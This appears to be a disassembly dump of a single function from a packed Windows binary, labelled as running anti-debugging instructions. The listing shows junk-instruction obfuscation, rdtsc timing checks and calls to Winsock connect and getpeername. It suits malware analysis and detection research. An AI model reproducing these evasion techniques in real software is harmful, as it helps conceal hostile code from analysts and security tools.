Function at 0xb0849f
Capabilities:
Execute anti-debugging instructions
Packed with generic packer

Disassembly:
mov dword [ebp - 0x14], esp
movsx eax, sp
mov eax, 0x1e201912
cmovno eax, ecx
push 0x8000
cmova ax, dx
movsx ax, cl
push 0
push dword [ebp - 0xc]
bswap eax
movsx ax, dl
cwde
mov eax, 0x3f
jmp 0x8f97d5
mov dword [ebx], eax
jmp 0xb215a0
call fcn.005567a5
cmp dword [ebp - 0x14], esp
jmp 0x9903d1
call fcn.00556799
add esp, 0x28
shr bl, 0x33
mov dword [ebp - 0x1c], eax
inc bx
mov ebx, 0x684b75b8
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0xb88647
push ebx
jmp 0xb8863e
push 6
jmp 0x96c854
mov eax, 0x3e
jmp 0x8d2daf
mov dword [ebp - 4], 0
jmp 0xa056eb
jne 0x879156
mov eax, 0x62c99e
setg bl
xchg bx, bx
movsx ebx, di
push eax
seta bh
mov ebx, esp
push 1
cmovne ebx, ecx
mov ebx, 0x558300
jmp 0xbd82ac
call fcn.00556799
add esp, 0x28
mov ecx, dword [ebp - 4]
jmp 0x894b97
push dword [ebp - 0xc]
call dword [ebp - 8]
mov dword [ebp - 0x14], esp
cwde
movsx eax, dx
bswap eax
push 0x8000
mov ax, 0x6d38
xchg ah, al
bswap ax
push 0
movsx eax, dx
push dword [ebp - 8]
mov eax, ebp
mov eax, 0x3f
jmp 0xb18bf7
mov eax, 6
popal
cbw
cwde
push edx
cwde
mov edx, 1
bswap edx
cmovs ax, cx
movsx eax, ax
mov edx, 2
cwde
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
cbw
movzx ax, al
cmovnp ax, sp
mov edx, 2
mov edx, 5
mov ax, 0x6541
mov edx, 5
pop edx
jmp 0xaad9c5
je 0xba1a11
push 0x62d0ba
mov cx, 0x14e7
push dword [ebp - 0x10]
bswap ecx
mov ecx, 2
jmp 0xa3e634
call fcn.0041105d
mov dword [ebp - 0x18], eax
btc bx, 0x58
bt ebx, 0x2f
bts ebx, ecx
mov ebx, dword [ebp - 0x14]
jmp 0xbdca20
call fcn.00556793
lea esp, [esp + 4]
push reloc.WS2_32.dll_connect
and ax, ax
cmp esp, 0x699f59bf
push 0
btc ax, 0x15
bt ax, ax
rcl eax, 0xe1
mov eax, dword [ebp - 0x20]
test sp, 0x40ec
stc
test eax, eax
jmp 0x8de229
call fcn.005567a5
cmp dword [ebp - 0x14], esp
je 0x96c862
push 0x103
push 0x40856d1
jmp 0x848973
je 0x8ca312
push ebx
jmp 0x8ca309
jne 0x8de239
mov eax, 0x62c99e
cmovle ebx, edx
mov ebx, ebp
push eax
bswap ebx
push 1
cmovs bx, si
mov ebx, 0x558300
jmp 0x8ff7f5
call fcn.00556799
add esp, 0x10
mov dword [ebp - 0x14], eax
shl al, 0x3c
push reloc.WS2_32.dll_connect
ror ah, 0x7a
btr eax, 0xa7
add ax, 0x6c9c
push 0
setae ah
mov eax, dword [ebp - 0x14]
cmp ebp, 0x4431537b
cmc
test eax, eax
jne 0xa56dca
mov eax, 0x62c99e
movzx ebx, si
jmp 0xa56dca
call fcn.00556793
lea esp, [esp + 4]
mov eax, dword [ebp - 0x24]
dec bh
rcr bl, 0x95
push eax
rcr bh, cl
shrd ebx, ebp, 0x14
mov ebx, dword [ebp - 0x10]
test ecx, esp
test ebx, ebx
jmp 0xba19f9
call fcn.00556799
lea esp, [esp + 0x10]
btr bx, dx
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
jmp 0xb27a7a
call fcn.0055679f
add esp, 0xc
xadd bh, bl
shl bx, cl
mov dword [ebp - 0xc], eax
add ebx, edi
rcr bx, cl
cmc
push reloc.WS2_32.dll_getpeername
cmc
rcl eax, cl
cmovl ax, sp
push 0
mov ebx, dword [ebp + 8]
shr ax, cl
btr eax, ebp
add eax, ebx
mov eax, dword [ebx]
test bl, 0x9c
test dx, si
test eax, eax
jmp 0xb0a09f
mov dword [ebp - 0xc], 0
jmp 0xbc68c2
push 3
mov ebx, 0x5571b0
call fcn.00556799
add esp, 0x28
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test esp, 0x5acb0a1a
test ebx, ebx
jmp 0x8d3410
je 0xb7ef15
push 0x61
jmp 0xafa3c9
je 0xb5c765
push ebx
jmp 0xb5c75d
mov ebx, 0x5575e0
call fcn.00556799
lea esp, [esp + 0x10]
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
jmp 0xa0b3c9
push 6
jmp 0xb30b8a
mov dword [ebp - 8], 0
jmp 0x974b21
je 0xa0b3dd
push ebx
call fcn.00556793
add esp, 4
btc ax, 0xb4
push 0x80000301
mov al, 3
push 0
adc ax, 0x658d
cwde
neg eax
push 0x10
movsx eax, bx
xor ax, 0x3941
push 0x80000301
push 0
or eax, ebp
rol al, cl
and eax, esp
push 9
ror eax, cl
and ah, ch
shld eax, ebx, 0x35
push reloc.WS2_32.dll_connect
push 0
btr eax, edi
mov eax, dword [ebp - 0x18]
cmc
cmp di, ax
test eax, eax
jmp 0xb23dc6
je 0xa1418b
push ebx
call fcn.00556793
lea esp, [esp + 4]
cbw
push 0x80000301
rcr eax, cl
push 0
push 0x10
bsr ax, cx
clc
movzx eax, cx
push 0x80000301
and al, 0x8b
mov ax, 0x701c
push 0
btr ax, 0xd4
rcr ah, cl
xor al, 0x94
push 9
push reloc.WS2_32.dll_connect
bswap eax
xadd al, ah
push 0
lahf
mov eax, dword [ebp - 0x1c]
test eax, eax
jmp 0xa25b43
jne 0xa25b4e
mov eax, 0x62c99e
push eax
bswap ebx
movzx ebx, si
jmp 0x98c3fb
call fcn.004062e9
add esp, 8
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
jmp 0x8bdda8
push eax
mov ebx, ebp
push 1
mov bl, 0x38
mov ebx, 0x558300
jmp 0xc2f04c
mov dword [ebp - 0x18], eax
cmc
cmp dword [ebp - 0x18], 0
jne 0xb215a0
push 0x80000601
movsx ebx, bp
push 0x4212bfad
movzx ebx, di
push 0xed600000
movsx bx, dh
movsx ebx, bp
push 1
xchg ebx, ebx
mov ebx, 0x558f20
jmp 0x8e5842
push 3
setns bl
movzx bx, cl
movsx bx, dl
mov ebx, 0x5571b0
jmp 0x84199e
je 0xa825f4
push ebx
call fcn.00556793
add esp, 4
not bx
mov ax, di
pop eax
not bh
mov ebx, dword [ebp + 8]
jmp 0x809efb
push 0x1000
mov eax, ebp
mov eax, 0x385f24cb
cbw
push 0x64
mov eax, esp
xchg al, ah
push 0
not eax
movzx ax, bl
cwde
mov eax, 0x3e
jmp 0x8365ef
call fcn.00556799
lea esp, [esp + 0x10]
jmp 0xa7aa6e
push 0
movsx ebx, bx
sets bl
movsx bx, bh
push 0x62d0e2
push 3
mov ebx, 0x55a540
jmp 0x879bf2
mov dword [ebp - 8], eax
movzx ax, dl
setae al
mov al, 0xfc
mov dword [ebp - 0x14], esp
cbw
jmp 0xb33868
call fcn.0041105d
mov dword [ebp - 0x14], eax
push reloc.WS2_32.dll_connect
bsr eax, edi
shl ax, 0xad
sal eax, cl
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0xaaa9a9
mov eax, 0x62c99e
cmovno bx, bp
push eax
cmovae ebx, ecx
push 1
sets bl
jmp 0x9cfb48
mov dword [ebp - 0x14], esp
push 0x40
lahf
jmp 0xa8e1ce
jne 0xacd4f4
mov eax, 0x62c99e
movzx ebx, dx
push eax
cmova bx, di
bswap bx
push 1
mov ebx, 0x5575e0
call fcn.00556799
add esp, 0x10
bts bx, bx
adc bh, 3
mov dword [ebp - 0x1c], eax
xchg bl, bl
mov ebx, dword [ebp - 0x18]
test sp, 0x2432
test ebx, ebx
jmp 0xa14179
call fcn.00556799
add esp, 0x28
push 0
setnp bh
push 0
xchg bx, bx
mov ebx, ebp
push 0
push 0x80000301
mov bx, bp
cmovno bx, dx
push 0
push dword [ebp - 8]
setb bl
not bh
push 0xa0000101
jmp 0xa95bb5
call fcn.00556793
lea esp, [esp + 4]
pop eax
mov dword [ebp - 0x10], eax
clc
stc
cmp dword [ebp + 0xc], 0
jmp 0x8b1d2c
push 0x40856d1
jmp 0x9f6af7
push ebp
shr bp, 0x64
bts bp, bp
mov ebp, esp
sub esp, 0x24
jmp 0x84dd0c
jne 0xb0a0ae
mov eax, 0x62c9f0
movsx bx, dl
push eax
cmovo bx, bp
movzx ebx, bp
push 1
xchg ebx, ebx
bswap bx
mov ebx, 0x556e70
jmp 0xa90a7d
je 0xa96e26
push 0xb2
push 0x40856d1
jmp 0xba57a8
call fcn.005567a5
cmp dword [ebp - 0x14], esp
je 0x4253da
push 0xf63
jmp 0xbb6ffc
push dword [ebp + 8]
jmp 0xaaa97d
jne 0xb23dd8
mov eax, 0x62c99e
not bl
mov bl, cl
setne bl
push eax
bswap bx
jmp 0xa82337
test ebx, ebx
jmp 0xc12048
call fcn.0055679f
add esp, 0xc
jmp 0xb7ef15
push 0x40
push 0x1000
movsx ax, dl
push 0x64
mov ax, sp
lahf
bswap ax
push 0
jmp 0x84a032
pushal
movsx edi, bp
cbw
mov eax, 1
rdtsc
mov eax, 2
movzx ebx, bx
rdtsc
mov eax, 4
mov eax, 2
movzx esi, si
mov eax, 5
cmove ax, ax
movsx edi, sp
mov eax, 4
mov eax, 2
xchg bp, dx
cwde
mov eax, 5
jmp 0x8a158f
jmp 0xb33e07
call fcn.005567a5
cmp dword [ebp - 0x14], esp
jmp 0xb164c6
test ebx, ebx
jmp 0xa825df
call fcn.00556793
add esp, 4
mov eax, dword [ebp - 0x20]
test esi, 0xfd24903
bts ebx, eax
push eax
stc
mov bx, sp
bt bx, 0x5d
mov ebx, dword [ebp - 0x10]
cmp ebp, ecx
test ebx, ebx
jmp 0xb7a051
je 0xaedcf6
push ebx
jmp 0xaedced
mov dword [ebp - 4], eax
movzx eax, sp
mov dword [ebp - 0x14], esp
push 0x40
bswap ax
push 0x1000
push 0x64
movsx eax, si
movzx eax, bx
mov ax, 0x599e
push 0
cbw
mov eax, 0x3e
jmp 0xb3435f
call fcn.00556793
lea esp, [esp + 4]
push reloc.WS2_32.dll_connect
rcr al, 0x45
bsr eax, edx
push 0
movsx eax, si
mov eax, dword [ebp - 0x1c]
cmp bx, 0x67a
test bp, di
cmc
test eax, eax
jmp 0x879142
je 0xba1a0b
push ebx
call fcn.00556793
lea esp, [esp + 4]
rcr ah, cl
pop eax
cmp ecx, ebp
mov dword [ebp - 0x10], eax
push 0
cwde
push 0
push 0
rcl ah, cl
cmp bx, 0x62a6
push 0x80000301
dec eax
movzx eax, ax
push 0
push dword [ebp - 0xc]
rcl eax, 0x4b
cmovne eax, esp
push reloc.WS2_32.dll_getpeername
bt eax, 0x47
shld eax, ebp, 0xc6
push 0
ror ah, 0xa7
add eax, 0x7d4b3cab
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0xba1a5a
mov eax, 0x62c9f0
push eax
push 3
mov ebx, 0x55a540
jmp 0xad83b5
push 6
call fcn.0055679f
add esp, 0xc
jmp 0xa96e26
call fcn.00556793
lea esp, [esp + 4]
inc ax
mov ebx, edx
mov eax, dword [ebp - 0x18]
bswap bx
bts bx, dx
push eax
sbb bx, 0x4ddd
sar bl, cl
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
jmp 0xb4d716
push 0x40856d1
push 6
jmp 0x4253d2
mov dword [ebp - 0x10], 0
jmp 0xb34353
call fcn.00556799
lea esp, [esp + 0x10]
mov bh, 0x56
rcl bl, cl
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebp
test ebx, ebx
jmp 0x997824
test ebx, ebx
je 0xbdca37
push ebx
call fcn.00556793
add esp, 4
shrd eax, ebx, 0x8f
sal al, cl
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jmp 0xacd4e6
je 0x8f59bf
push ebx
jmp 0x8f59b6
call fcn.00556799
lea esp, [esp + 0x10]
shld ebx, esp, 0x52
mov dword [ebp - 0x18], eax
rcr ebx, cl
ror bl, cl
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0xbb18b8
push ebx
jmp 0xbb18aa